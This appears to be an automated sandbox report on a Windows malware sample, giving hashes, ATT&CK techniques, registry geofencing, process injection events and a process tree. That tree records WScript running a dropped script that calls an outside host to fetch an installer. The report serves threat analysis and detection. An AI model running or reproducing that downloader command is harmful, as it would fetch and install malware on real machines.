93b72cfacb6d8830d67d36633cc082b46d8369a814abb50d1b6901631b6fe433

General

Target

7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe
Size

184KB
MD5

7b90883639a53ba78eef7aadaa09cfc2
SHA1

81210a51358323834fe571e0c386420104761cf8
SHA256

93b72cfacb6d8830d67d36633cc082b46d8369a814abb50d1b6901631b6fe433
SHA512

9f8fffbc2e08f35b519c359dfe546f7d861ac6ad2f3cefa2236f89f7d9c1dd73f688eb0a3fb871ed761c124efada7869f9aaa5f49b46c9cc78ac378e0918c55e
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3a:/7BSH8zUB+nGESaaRvoB7FJNndn7

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
6	2596	WScript.exe
33	1948	WScript.exe
36	1948	WScript.exe
38	3596	WScript.exe
53	3476	WScript.exe
55	1292	WScript.exe
56	1292	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2748	3456	WerFault.exe	82

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3456 wrote to memory of 2596	3456	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	83
PID 3456 wrote to memory of 2596	3456	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	83
PID 3456 wrote to memory of 2596	3456	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	83
PID 3456 wrote to memory of 1948	3456	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	97
PID 3456 wrote to memory of 1948	3456	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	97
PID 3456 wrote to memory of 1948	3456	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	97
PID 3456 wrote to memory of 3596	3456	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	98
PID 3456 wrote to memory of 3596	3456	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	98
PID 3456 wrote to memory of 3596	3456	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	98
PID 3456 wrote to memory of 3476	3456	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	102
PID 3456 wrote to memory of 3476	3456	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	102
PID 3456 wrote to memory of 3476	3456	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	102
PID 3456 wrote to memory of 1292	3456	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	103
PID 3456 wrote to memory of 1292	3456	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	103
PID 3456 wrote to memory of 1292	3456	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	103

C:\Users\Admin\AppData\Local\Temp\7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3456
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf471B.js" http://www.djapp.info/?domain=mHwqTcrhwD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf471B.exe
  2⤵
  - Blocklisted process makes network request
  PID:2596
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf471B.js" http://www.djapp.info/?domain=mHwqTcrhwD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf471B.exe
  2⤵
  - Blocklisted process makes network request
  PID:1948
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf471B.js" http://www.djapp.info/?domain=mHwqTcrhwD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf471B.exe
  2⤵
  - Blocklisted process makes network request
  PID:3596
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf471B.js" http://www.djapp.info/?domain=mHwqTcrhwD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf471B.exe
  2⤵
  - Blocklisted process makes network request
  PID:3476
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf471B.js" http://www.djapp.info/?domain=mHwqTcrhwD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf471B.exe
  2⤵
  - Blocklisted process makes network request
  PID:1292
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3456 -s 1328
  2⤵
  - Program crash
  PID:2748

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 3456 -ip 3456
1⤵
PID:1492

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf471B.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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